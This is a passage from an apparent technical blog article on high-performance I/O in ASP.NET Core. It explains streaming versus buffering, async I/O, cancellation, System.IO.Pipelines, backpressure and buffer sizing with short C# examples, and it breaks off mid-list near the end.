srcset="https://substackcdn.com/image/fetch/$s_!cwk6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!cwk6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!cwk6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!cwk6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>When that data is small, almost any reasonable approach works. At scale, however, unnecessary buffering, synchronous I/O, repeated copying, and oversized in-memory payloads can consume memory, block threads, increase latency, and limit throughput. High-performance I/O is therefore not about making the network magically faster. It is about designing the application so data can move through the system efficiently, asynchronously, and with as little unnecessary work as possible.</p><h2>The Real Problem Is Often How We Move the Data</h2><p>In our previous article on <strong><a href="https://www.asptoday.com/p/memory-management-in-aspnet-core">Memory Management in ASP.NET Core</a></strong>, we looked at garbage collection, allocations, the Large Object Heap, and object pooling.</p><p>Consider an API that receives a 500 MB file.</p><p>A straightforward implementation might do this:</p><pre><code><code>Receive 500 MB
     &#8595;
Load 500 MB into memory
     &#8595;
Convert or deserialize it
     &#8595;
Process it
     &#8595;
Build another large result
     &#8595;
Send the response</code></code></pre><p>The file may only be 500 MB, but the application could temporarily consume much more than 500 MB because multiple representations exist at the same time.</p><p>Now imagine ten users performing that operation concurrently.</p><p>The problem is no longer merely file processing.</p><p>It becomes a problem involving:</p><pre><code><code>Memory
Garbage collection
Thread usage
Network throughput
Disk throughput
Concurrency
Backpressure
Latency</code></code></pre><p>A better architecture tries to move data progressively:</p><pre><code><code>Receive chunk
     &#8595;
Process chunk
     &#8595;
Write result
     &#8595;
Receive next chunk</code></code></pre><p>Instead of thinking:</p><p><strong>&#8220;How quickly can I load this data?&#8221;</strong></p><p>think:</p><p><strong>&#8220;How little of this data needs to exist in memory at any one moment?&#8221;</strong></p><p>That shift is fundamental to high-performance I/O.</p><h2>I/O Is Different from CPU Work</h2><p>Imagine two operations.</p><p>The first calculates millions of mathematical values:</p><pre><code><code>CPU
&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;</code></code></pre><p>The processor is actively working.</p><p>The second waits for data from a remote storage service:</p><pre><code><code>Send request
     &#8595;
Wait...
     &#8595;
Wait...
     &#8595;
Data arrives</code></code></pre><p>During much of that time, the CPU has nothing useful to do for that operation.</p><p>This distinction explains why asynchronous programming is so important for server I/O.</p><p>Microsoft&#8217;s ASP.NET Core performance guidance recommends asynchronous APIs for data access and I/O because blocking calls can lead to Thread Pool starvation and degraded response times. </p><p>Consider:</p><pre><code><code>var data = stream.Read(buffer, 0, buffer.Length);</code></code></pre><p>This synchronous operation may occupy a thread while waiting for data.</p><p>The asynchronous equivalent is:</p><pre><code><code>var bytesRead = await stream.ReadAsync(
    buffer,
    cancellationToken);</code></code></pre><p>While the operation is waiting, the thread can be used for other work.</p><p>That matters enormously in a web server handling many concurrent requests.</p><h2>Async Does Not Make the Storage Device Faster</h2><p>This is an important distinction.</p><p>Suppose a storage operation takes 200 milliseconds.</p><p>Changing:</p><pre><code><code>stream.Read(...)</code></code></pre><p>to:</p><pre><code><code>await stream.ReadAsync(...)</code></code></pre><p>does not magically turn the disk or network into a faster device.</p><p>The advantage is scalability.</p><p>With synchronous I/O:</p><pre><code><code>Request A &#8594; Thread waits
Request B &#8594; Thread waits
Request C &#8594; Thread waits
Request D &#8594; Thread waits</code></code></pre><p>With asynchronous I/O:</p><pre><code><code>Request A &#8594; waiting for I/O
Request B &#8594; waiting for I/O
Request C &#8594; waiting for I/O

Threads remain available
for other runnable work</code></code></pre><p>ASP.NET Core can therefore handle large numbers of concurrent I/O-bound operations without requiring one blocked thread for every waiting request.</p><p>This is why <a href="https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-10.0&amp;utm_source">Microsoft specifically advises against synchronous reads and writes</a> on <code>HttpRequest</code> and <code>HttpResponse</code> bodies. </p><h2>Streams Give Us a Better Mental Model</h2><p>A <code>Stream</code> represents a sequence of bytes.</p><p>It does not necessarily represent a complete object already loaded into memory.</p><p>Streams can represent:</p><pre><code><code>Files
Network connections
HTTP request bodies
HTTP responses
Memory
Compression layers
Cryptographic transformations</code></code></pre><p>For example:</p><pre><code><code>await using var stream = File.OpenRead("report.csv");

var buffer = new byte[8192];

while (true)
{
    var bytesRead = await stream.ReadAsync(buffer);

    if (bytesRead == 0)
        break;

    Process(
        buffer.AsSpan(0, bytesRead));
}</code></code></pre><p>The application does not need the entire file in memory.</p><p>It works on a small region at a time.</p><p>For a 10 GB file, our working buffer could still be only a few kilobytes.</p><p>That is the power of streaming.</p><h2>Buffering and Streaming Are Different Strategies</h2><p>Suppose an application receives:</p><pre><code><code>1 GB request</code></code></pre><p>A buffered approach looks like:</p><pre><code><code>Network
   &#8595;
&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;
Entire request in memory
   &#8595;
Processing</code></code></pre><p>A streaming approach looks more like:</p><pre><code><code>Network
   &#8595;
[chunk]
   &#8595;
Process
   &#8595;
[chunk]
   &#8595;
Process
   &#8595;
[chunk]</code></code></pre><p>Buffering is not inherently bad.</p><p>Small payloads are often easier and perfectly reasonable to buffer.</p><p>The problem is <strong>unbounded buffering</strong>.</p><p>Microsoft&#8217;s ASP.NET Core guidance warns against reading large request or response bodies into a single <code>byte[]</code> or <code>string</code>, partly because sufficiently large allocations enter the Large Object Heap and can contribute to expensive full garbage collections. </p><p>This connects directly to our previous article.</p><p>Memory-efficient I/O often means avoiding the giant allocation entirely.</p><h2>A Common Mistake: ReadToEnd</h2><p>Imagine middleware that needs to inspect a request.</p><p>This is tempting:</p><pre><code><code>using var reader =
    new StreamReader(context.Request.Body);

var body = await reader.ReadToEndAsync();</code></code></pre><p>For a small JSON request, this may be acceptable.</p><p>For a large upload, <code>body</code> may represent the entire request in memory.</p><p>If many requests arrive concurrently, memory consumption scales accordingly.</p><p>Instead, ask:</p><p><strong>Do I actually need the entire body simultaneously?</strong></p><p>If not, process the stream incrementally.</p><h2>Let the Serializer Stream When Possible</h2><p>Suppose an endpoint accepts JSON.</p><p>Instead of:</p><pre><code><code>using var reader =
    new StreamReader(Request.Body);

var json =
    await reader.ReadToEndAsync();

var order =
    JsonSerializer.Deserialize&lt;Order&gt;(json);</code></code></pre><p>we can deserialize directly from the stream:</p><pre><code><code>var order =
    await JsonSerializer.DeserializeAsync&lt;Order&gt;(
        Request.Body,
        cancellationToken:
            HttpContext.RequestAborted);</code></code></pre><p>We remove an unnecessary intermediate string.</p><p>Microsoft&#8217;s performance guidance specifically demonstrates asynchronous JSON deserialization directly from the request body as a preferable pattern. </p><p>The general rule is simple:</p><p><strong>Avoid creating an intermediate representation when the next API can consume the stream directly.</strong></p><h2>Cancellation Belongs in I/O Code</h2><p>Suppose a user begins downloading a large report and then closes the browser.</p><p>Should the server continue spending 30 seconds:</p><pre><code><code>Reading database rows
Generating data
Writing output
Calling storage</code></code></pre><p>for a client that no longer exists?</p><p>Usually not.</p><p>ASP.NET Core exposes request cancellation through:</p><pre><code><code>HttpContext.RequestAborted</code></code></pre><p>or by binding a <code>CancellationToken</code> directly in a Minimal API endpoint:</p><pre><code><code>app.MapGet(
    "/export",
    async (CancellationToken cancellationToken) =&gt;
    {
        // Use cancellationToken throughout.
    });</code></code></pre><p>That token should travel through the I/O path:</p><pre><code><code>await source.ReadAsync(
    buffer,
    cancellationToken);

await destination.WriteAsync(
    buffer,
    cancellationToken);</code></code></pre><p>Cancellation prevents abandoned requests from continuing to consume scarce resources.</p><p>This becomes particularly important for large or slow transfers.</p><h2>Stream Copying Can Be Surprisingly Simple</h2><p>Suppose an application retrieves a file from storage and sends it to the client.</p><p>A wasteful architecture might be:</p><pre><code><code>Storage
   &#8595;
byte[]
   &#8595;
MemoryStream
   &#8595;
another byte[]
   &#8595;
HTTP response</code></code></pre><p>Often we simply need:</p><pre><code><code>Storage stream
      &#8595;
HTTP response stream</code></code></pre><p>For example:</p><pre><code><code>await source.CopyToAsync(
    Response.Body,
    cancellationToken);</code></code></pre><p>Now the application acts more like a conduit.</p><p>Data moves through it rather than accumulating inside it.</p><p>ASP.NET Core also provides result types designed to return stream-based content. <code>FileStreamResult</code>, for example, represents an action result that writes a file from a stream to the HTTP response. </p><h2>But Streams Still Require Buffering Somewhere</h2><p>Streaming does not mean:</p><pre><code><code>No buffers exist.</code></code></pre><p>Network and file I/O require buffers.</p><p>The real question is:</p><p><strong>Who manages those buffers, how large are they, and how often are they copied?</strong></p><p>A conventional stream parser may need to manage:</p><pre><code><code>Partial messages
Buffer boundaries
Unused bytes
Resizing
Copying
Multiple buffers</code></code></pre><p>Imagine receiving newline-separated records:</p><pre><code><code>Alice\nBob\nCharlie\n</code></code></pre><p>A read might end here:</p><pre><code><code>Alice\nBob\nCha</code></code></pre><p>The next read contains:</p><pre><code><code>rlie\n</code></code></pre><p>Our parser must remember:</p><pre><code><code>Cha</code></code></pre><p>and combine it with:</p><pre><code><code>rlie</code></code></pre><p>This sounds simple.</p><p>At high throughput, correctly managing partial buffers becomes surprisingly complicated.</p><p>That is one of the problems <code>System.IO.Pipelines</code> was designed to solve.</p><h2>Enter System.IO.Pipelines</h2><p>Microsoft describes <code>System.IO.Pipelines</code> as a library designed to make high-performance I/O in .NET easier. It addresses much of the complicated buffer-management code required by streaming parsers. </p><p>The core abstractions are:</p><pre><code><code>PipeReader
PipeWriter</code></code></pre><p>Conceptually:</p><pre><code><code>Producer
   &#8595;
PipeWriter
   &#8595;
[managed buffers]
   &#8595;
PipeReader
   &#8595;
Consumer</code></code></pre><p>The writer produces bytes.</p><p>The reader consumes bytes.</p><p>The pipeline manages the memory between them.</p><p>This allows the producer and consumer to operate somewhat independently while sharing an efficient buffering system.</p><h2>ASP.NET Core Already Exposes Pipelines</h2><p>ASP.NET Core gives us both stream and pipeline APIs.</p><p>For requests:</p><pre><code><code>HttpRequest.Body</code></code></pre><p>is a <code>Stream</code>.</p><p>And:</p><pre><code><code>HttpRequest.BodyReader</code></code></pre><p>is a <code>PipeReader</code>.</p><p>For responses:</p><pre><code><code>HttpResponse.Body</code></code></pre><p>is a <code>Stream</code>.</p><p>And:</p><pre><code><code>HttpResponse.BodyWriter</code></code></pre><p>is a <code>PipeWriter</code>.</p><p>Microsoft&#8217;s current request and response documentation explicitly exposes both abstractions and notes that pipelines can provide performance advantages for advanced scenarios. </p><p>This does <strong>not</strong> mean every controller should immediately replace streams with pipelines.</p><p>Streams remain extremely useful.</p><p>Pipelines become particularly valuable when we need efficient parsing or writing on hot I/O paths.</p><h2>Reading with PipeReader</h2><p>A simplified reader loop looks like this:</p><pre><code><code>PipeReader reader =
    HttpContext.Request.BodyReader;

while (true)
{
    ReadResult result =
        await reader.ReadAsync(
            HttpContext.RequestAborted);

    ReadOnlySequence&lt;byte&gt; buffer =
        result.Buffer;

    // Inspect and process available bytes.

    reader.AdvanceTo(
        buffer.Start,
        buffer.End);

    if (result.IsCompleted)
        break;
}</code></code></pre><p>The exact parsing logic depends on the protocol.</p><p>The important point is that the <code>PipeReader</code> provides access to buffered data without forcing us to continually allocate our own arrays.</p><p>Microsoft notes that <code>HttpRequest.BodyReader</code> directly accesses the request body and manages memory for the caller, avoiding an additional request-data copy into a caller-managed buffer. </p><h2>ReadOnlySequence&lt;byte&gt; Matters</h2><p>Pipeline data may not exist in one contiguous block of memory.</p><p>Instead, we may receive:</p><pre><code><code>Segment 1
[ABCDEFG]

Segment 2
[HIJKLMN]

Segment 3
[OPQRST]</code></code></pre><p>Together they form a logical sequence.</p><p><code>ReadOnlySequence&lt;byte&gt;</code> lets us treat those segments as one sequence without first combining them into another giant array.</p><p>That is important because this:</p><pre><code><code>Segment 1
Segment 2
Segment 3
     &#8595;
Allocate giant array
     &#8595;
Copy everything</code></code></pre><p>creates work that may not be necessary.</p><p>High-performance I/O frequently comes down to one principle:</p><p><strong>Move references to data whenever possible instead of repeatedly moving the data itself.</strong></p><h2>AdvanceTo Is Not Optional Housekeeping</h2><p><code>PipeReader</code> requires the consumer to tell it how much data has been processed.</p><p>That is the purpose of:</p><pre><code><code>reader.AdvanceTo(
    consumed,
    examined);</code></code></pre><p>These positions mean different things.</p><p><code>consumed</code> tells the pipeline:</p><p><strong>We no longer need data before this point.</strong></p><p><code>examined</code> tells it:</p><p><strong>We have inspected data up to this point.</strong></p><p>Getting these positions wrong can cause serious problems.</p><p>If we fail to consume data properly, buffers may be retained longer than necessary.</p><p>If we report examined data incorrectly, the reader may behave unexpectedly or wait for data when it should continue processing.</p><p>Microsoft&#8217;s pipeline documentation specifically warns that incorrect <code>PipeReader</code> usage can lead to excessive memory use, hangs, infinite loops, or corrupted processing logic. </p><p>Pipelines remove a lot of buffer-management complexity.</p><p>They do not remove the need to understand ownership.</p><h2>Parsing Delimited Data Efficiently</h2><p>Imagine receiving:</p><pre><code><code>1001,temperature,28.3\n
1002,temperature,28.4\n
1003,temperature,28.7\n</code></code></pre><p>Instead of converting the entire request into one huge string, we can search the available byte sequence for newline delimiters.</p><p>Conceptually:</p><pre><code><code>PipeReader
    &#8595;
Find \n
    &#8595;
Process complete record
    &#8595;
Advance consumed position
    &#8595;
Keep incomplete record buffered
    &#8595;
Read more data</code></code></pre><p>This is exactly the kind of scenario pipelines handle well.</p><p>The parser can work with whatever data has arrived without demanding that the entire payload be available first.</p><h2>Writing with PipeWriter</h2><p>The same idea applies to responses.</p><p>ASP.NET Core exposes:</p><pre><code><code>HttpResponse.BodyWriter</code></code></pre><p>as a <code>PipeWriter</code>.</p><p>We can request writable memory:</p><pre><code><code>var writer =
    HttpContext.Response.BodyWriter;

Memory&lt;byte&gt; memory =
    writer.GetMemory(4096);</code></code></pre><p>Write data into it, tell the writer how many bytes were written:</p><pre><code><code>writer.Advance(bytesWritten);</code></code></pre><p>and eventually flush:</p><pre><code><code>await writer.FlushAsync(
    HttpContext.RequestAborted);</code></code></pre><p>Microsoft notes that <code>BodyWriter</code> provides direct access to the response body while managing memory on behalf of the caller. </p><p>This can avoid some intermediate buffering and copying in performance-sensitive code.</p><h2>Flush Does Not Mean &#8220;Flush Constantly&#8221;</h2><p>Suppose we generate a million small records.</p><p>We could do:</p><pre><code><code>Write record
Flush

Write record
Flush

Write record
Flush</code></code></pre><p>That may create a large number of tiny writes.</p><p>At the opposite extreme:</p><pre><code><code>Write everything
Write everything
Write everything
Never flush until the end</code></code></pre><p>may delay delivery and accumulate too much buffered data.</p><p>The correct strategy lies between them.</p><p>Microsoft&#8217;s ASP.NET Core documentation explains that <code>HttpResponse.BodyWriter</code> buffers data and that the developer must choose when to call <code>FlushAsync</code>, balancing buffer size, network overhead, and how quickly chunks should reach the client. </p><p>So flushing is another form of batching.</p><h2>Batching Is One of the Hidden Keys to I/O Performance</h2><p>Imagine a database import containing 100,000 records.</p><p>Approach A:</p><pre><code><code>Read one record
Write one record
Flush
Repeat 100,000 times</code></code></pre><p>Approach B:</p><pre><code><code>Read manageable batch
Process batch
Write batch
Flush when appropriate
Repeat</code></code></pre><p>The second approach can reduce:</p><pre><code><code>System calls
Network round trips
Database round trips
Flush operations
Protocol overhead</code></code></pre><p>But gigantic batches can increase memory usage and latency.</p><p>Once again, the goal is balance.</p><p>High-performance systems often operate with <strong>bounded batches</strong>.</p><h2>Buffer Size Is a Trade-Off</h2><p>Should every buffer be 4 KB?</p><p>64 KB?</p><p>1 MB?</p><p>There is no universal answer.</p><p>Larger buffers can reduce the number of I/O operations.</p><p>But they also:</p><pre><code><code>Consume more memory per operation
Increase memory pressure under concurrency
May cross LOH thresholds
Can retain unnecessary memory</code></code></pre><p>Imagine:</p><pre><code><code>1 MB buffer
&#215;
5,000 concurrent operations</code></code></pre><p>That theoretically represents:</p><pre><code><code>~5 GB</code></code></pre><p>of buffer capacity alone.</p><p>A buffer that looks harmless in isolation can become expensive at scale.</p><p>This is why buffer sizing must consider <strong>concurrency</strong>, not just single-request throughput.</p><h2>Reuse Buffers When Profiling Justifies It</h2><p>Our previous article introduced:</p><pre><code><code>ArrayPool&lt;byte&gt;</code></code></pre><p>It is highly relevant to stream processing.</p><p>Instead of repeatedly doing:</p><pre><code><code>var buffer =
    new byte[64 * 1024];</code></code></pre><p>a hot processing path can rent:</p><pre><code><code>var buffer =
    ArrayPool&lt;byte&gt;.Shared.Rent(
        64 * 1024);

try
{
    // Read and process.
}
finally
{
    ArrayPool&lt;byte&gt;.Shared.Return(buffer);
}</code></code></pre><p>This can reduce repeated allocations.</p><p>But remember the same rules:</p><pre><code><code>Return exactly once
Do not use after return
Clear sensitive data when necessary
Do not pool without evidence</code></code></pre><p>Pipelines can reduce the need to manage these buffers manually because buffer management is one of the responsibilities the abstraction was designed to simplify.</p><h2>Backpressure Exists Inside I/O Too</h2><p>Our earlier article on <strong>Designing Backpressure in ASP.NET Core</strong> focused on overload at the application level.</p><p>The same concept exists within pipelines.</p><p>Imagine:</p><pre><code><code>Producer
&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;
             &#8595;

Consumer
&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;</code></code></pre><p>The producer generates data much faster than the consumer processes it.</p><p>Without limits:</p><pre><code><code>Buffer
Buffer
Buffer
Buffer
Buffer
Buffer
...</code></code></pre><p>Memory keeps growing.</p><p>A healthy system needs a mechanism that eventually tells the producer:</p><p><strong>Slow down.</strong></p><p><code>System.IO.Pipelines</code> includes pause and resume thresholds that can apply backpressure between the writer and reader. When buffered data grows beyond configured thresholds, flushing can pause until the reader consumes enough data. </p><p>This is a beautiful connection between two parts of our series.</p><p>Backpressure is not only an API gateway concept.</p><p>It exists all the way down to how bytes move through a process.</p><h2>Slow Consumers Are a Real Production Problem</h2><p>Suppose our server can generate a 2 GB export very quickly.</p><p>But the client is connected through a slow mobile network.</p><p>If we generate the entire export into memory first:</p><pre><code><code>Fast server
    &#8595;
2 GB result in memory
    &#8595;
Slow network</code></code></pre><p>the server carries the cost of that speed mismatch.</p><p>Streaming changes the relationship:</p><pre><code><code>Generate
   &#8595;
Write
   &#8595;
Network consumes
   &#8595;
Generate more</code></code></pre><p>The output path itself can influence how quickly data is produced.</p><p>This keeps resource consumption more closely tied to actual delivery.</p><h2>Streaming Database Results</h2><p>Suppose an endpoint exports five million records.</p><p>A naive implementation:</p><pre><code><code>var rows =
    await db.Orders
        .AsNoTracking()
        .ToListAsync(cancellationToken);</code></code></pre><p>Now millions of records may exist simultaneously in memory.</p><p>For workloads where records can be processed independently, asynchronous enumeration can allow progressive processing:</p><pre><code><code>await foreach (
    var order in db.Orders
        .AsNoTracking()
        .AsAsyncEnumerable()
        .WithCancellation(cancellationToken))
{
    await WriteOrderAsync(
        order,
        cancellationToken);
}</code></code></pre><p>Now the architecture becomes:</p><pre><code><code>Database
   &#8595;
Record
   &#8595;
Serialize
   &#8595;
Response</code></code></pre><p>rather than:</p><pre><code><code>Database
   &#8595;
Millions of objects
   &#8595;
Huge in-memory collection
   &#8595;
Serialize</code></code></pre><p>The exact behavior still depends on the database provider, query, and surrounding code, so profiling remains essential.</p><p>But architecturally, streaming opens the door to bounded-memory processing.</p><h2>Pagination Is Still Valuable</h2><p>Streaming is not automatically the right answer for every large query.</p><p>For normal user-facing APIs, pagination is often better.</p><p>Instead of returning:</p><pre><code><code>500,000 products</code></code></pre><p>return:</p><pre><code><code>100 products</code></code></pre><p>with a mechanism to retrieve the next set.</p><p>Microsoft&#8217;s ASP.NET Core performance guidance recommends returning large collections across multiple smaller pages rather than retrieving and returning unnecessarily large datasets. </p><p>Streaming is powerful when the consumer genuinely needs a long sequence.</p><p>Pagination is better when the consumer only needs part of the dataset.</p><h2>File Uploads Need Limits</h2><p>Streaming a request body solves one problem.</p><p>It does not mean:</p><p><strong>Accept unlimited data.</strong></p><p>Imagine an attacker sends:</p><pre><code><code>500 TB upload</code></code></pre><p>very slowly.</p><p>Even if we never buffer the whole file, the request can still consume:</p><pre><code><code>Connections
Bandwidth
Disk
CPU
Application time</code></code></pre><p>for an unreasonable duration.</p><p>Production upload design needs:</p><pre><code><code>Request size limits
Authentication
Timeouts
Cancellation
Storage quotas
Content validation
Concurrency controls
Rate limits</code></code></pre><p>Streaming is a memory-management strategy.</p><p>It is not a complete resource-governance strategy.</p><h2>Beware of Re-Reading Request Bodies</h2><p>HTTP request bodies normally behave like forward-moving streams.</p><p>Once consumed, they are not automatically available for another component to read again.</p><p>Sometimes middleware genuinely needs to inspect a body and allow later components to read it too.</p><p>ASP.NET Core provides:</p><pre><code><code>Request.EnableBuffering();</code></code></pre><p>which enables multiple reads by buffering the request body. Microsoft&#8217;s <code>HttpContext</code> guidance demonstrates this pattern. </p><p>For example:</p><pre><code><code>context.Request.EnableBuffering();

await InspectAsync(
    context.Request.Body,
    context.RequestAborted);

context.Request.Body.Position = 0;

await next(context);</code></code></pre><p>But notice what we just did.</p><p>We deliberately introduced buffering.</p><p>That may be fine for small controlled payloads.</p><p>For very large requests, casually enabling buffering can undermine the memory and I/O benefits we are trying to achieve.</p><h2>Compression Changes the Equation</h2><p>Suppose an API returns:</p><pre><code><code>10 MB JSON</code></code></pre><p>Compression might reduce the bytes transmitted significantly, depending on the content.</p><p>That can improve network performance.</p><p>But compression consumes CPU.</p><p>So the system trades:</p><pre><code><code>CPU work</code></code></pre><p>for:</p><pre><code><code>Fewer network bytes</code></code></pre><p>Whether that is beneficial depends on:</p><pre><code><code>Payload type
Payload size
Network speed
CPU capacity
Compression level
Client support</code></code></pre><p>This illustrates an important performance principle.</p><p>There is rarely one resource called &#8220;performance.&#8221;</p><p>We trade among:</p><pre><code><code>CPU
Memory
Network
Disk
Latency
Throughput</code></code></pre><p>High-performance I/O is about making those trades deliberately.</p><h2>Avoid Sync-Over-Async</h2><p>One particularly harmful pattern is:</p><pre><code><code>var result =
    ReadDataAsync().Result;</code></code></pre><p>or:</p><pre><code><code>ReadDataAsync().Wait();</code></code></pre><p>The asynchronous operation may be waiting for I/O while the calling thread is blocked waiting for the asynchronous operation.</p><p>At scale, this can contribute to Thread Pool starvation.</p><p>Prefer:</p><pre><code><code>var result =
    await ReadDataAsync();</code></code></pre><p>and keep the call chain asynchronous.</p><p>Microsoft explicitly recommends avoiding <code>Task.Wait</code> and <code>.Result</code> in ASP.NET Core hot paths and making the complete I/O call stack asynchronous when asynchronous APIs are available. </p><h2>Do Not Use Task.Run to Hide Blocking I/O</h2><p>Suppose a library exposes only:</p><pre><code><code>ReadSynchronously();</code></code></pre><p>It may be tempting to write:</p><pre><code><code>await Task.Run(
    () =&gt; ReadSynchronously());</code></code></pre><p>That does not transform synchronous I/O into true asynchronous I/O.</p><p>A Thread Pool thread still performs the blocking call.</p><p>Microsoft specifically advises against using <code>Task.Run</code> merely to make synchronous APIs appear asynchronous in ASP.NET Core request processing. </p><p>Whenever possible, choose libraries that expose real asynchronous I/O APIs.</p><h2>.NET 10 Pushes Pipelines Deeper into ASP.NET Core</h2><p>There is an important current development worth noting.</p><p>Starting with .NET 10, several ASP.NET Core JSON request-processing paths use <code>JsonSerializer.DeserializeAsync</code> overloads based on <code>PipeReader</code> instead of <code>Stream</code>, including Minimal API parameter binding, MVC input formatting, and JSON request extensions. Microsoft says most applications benefit from the transition without needing application changes. </p><p>This tells us something important about the direction of the platform.</p><p>Pipelines are not merely an exotic API for specialized network servers.</p><p>They increasingly underpin ordinary ASP.NET Core infrastructure.</p><p>Most developers do not need to interact with that machinery directly.</p><p>But understanding it helps explain where ASP.NET Core gets much of its I/O efficiency.</p><h2>Streams or Pipelines?</h2><p>This is probably the most practical question in this article.</p><p>Use <strong>streams</strong> when:</p><pre><code><code>The operation is straightforward
The existing API expects Stream
You are copying files
You are using compression
The workload is not a measured bottleneck
The simpler abstraction is sufficient</code></code></pre><p>Consider <strong>pipelines</strong> when:</p><pre><code><code>You are building high-throughput middleware
You parse streaming protocols
You process large continuous byte sequences
Buffer management is becoming complicated
Copies and allocations appear in profiling
You need tighter control over producer/consumer flow</code></code></pre><p>Microsoft&#8217;s request and response documentation makes the same broad distinction: streams remain useful and widely supported, while pipelines offer advantages for more performance-sensitive processing. </p><p>Do not choose pipelines because they sound more advanced.</p><p>Choose them because the problem justifies them.</p><h2>Efficient I/O Is Mostly About Avoiding Work</h2><p>When developers hear &#8220;high performance,&#8221; they often imagine clever algorithms.</p><p>For I/O systems, the biggest gains are frequently less glamorous:</p><pre><code><code>Do not load the whole file.

Do not copy bytes unnecessarily.

Do not create a giant string.

Do not block a thread while waiting.

Do not fetch records nobody needs.

Do not flush after every tiny write.

Do not allocate giant buffers per request.

Do not continue work after the client disconnects.</code></code></pre><p>Each avoided operation seems small.</p><p>At scale, avoided work becomes throughput.</p><h2>Observing I/O Performance</h2><p>Optimization requires measurement.</p><p>Useful signals include:</p><pre><code><code>Request duration
Request rate
Response size
Active requests
Thread Pool queue length
CPU utilization
Allocation rate
GC activity
Network throughput
Disk throughput
Database latency
Cancellation rate
Timeout rate</code></code></pre><p>For custom pipelines, also consider:</p><pre><code><code>Buffered bytes
Producer rate
Consumer rate
Flush frequency
Batch size
Time waiting on backpressure</code></code></pre><p>Do not optimize only one metric.</p><p>A change that improves throughput but doubles memory consumption may create a different production problem.</p><h2>Load Test with Slow Clients Too</h2><p>Performance tests often use powerful load generators on fast networks.</p><p>That can hide an important class of problems.</p><p>Real clients may:</p><pre><code><code>Upload slowly
Download slowly
Disconnect halfway
Pause unexpectedly
Operate on unreliable mobile networks</code></code></pre><p>A robust I/O architecture needs to behave well when the consumer or producer is slow.</p><p>Test:</p><pre><code><code>Large payloads
Slow uploads
Slow downloads
Cancellation
Concurrent transfers
Memory-constrained containers
Sudden traffic spikes
Downstream latency</code></code></pre><p>The goal is not merely impressive benchmark throughput.</p><p>The goal is predictable production behavior.</p><h2>A Practical Architecture for Large Data Processing</h2><p>Imagine an ASP.NET Core service that receives large telemetry files, validates records, transforms them, stores selected data, and streams a report back to the caller.</p><p>A poor architecture might be:</p><pre><code><code>Upload
  &#8595;
Entire file in memory
  &#8595;
Entire file converted to string
  &#8595;
Entire file parsed
  &#8595;
List of every record
  &#8595;
Transform every record
  &#8595;
Build complete report
  &#8595;
Send response</code></code></pre><p>A more scalable design could be:</p><pre><code><code>Request stream
      &#8595;
Bounded reader
      &#8595;
Parse records incrementally
      &#8595;
Bounded processing stage
      &#8595;
Persist manageable batches
      &#8595;
Generate report progressively
      &#8595;
Response stream</code></code></pre><p>Now add:</p><pre><code><code>Cancellation
Timeouts
Backpressure
Bounded buffers
